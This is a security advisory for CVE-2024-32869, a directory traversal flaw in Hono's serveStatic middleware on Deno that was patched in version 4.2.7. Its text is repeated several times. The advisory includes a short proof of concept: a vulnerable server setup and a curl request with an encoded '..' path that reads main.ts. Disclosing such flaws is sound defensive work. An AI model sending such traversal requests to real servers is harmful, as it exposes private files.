CVE-2024-32869

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

TuxCare rebuilt hono to address 12 CVEs. Fixed in 3.12.12-tuxcare.2.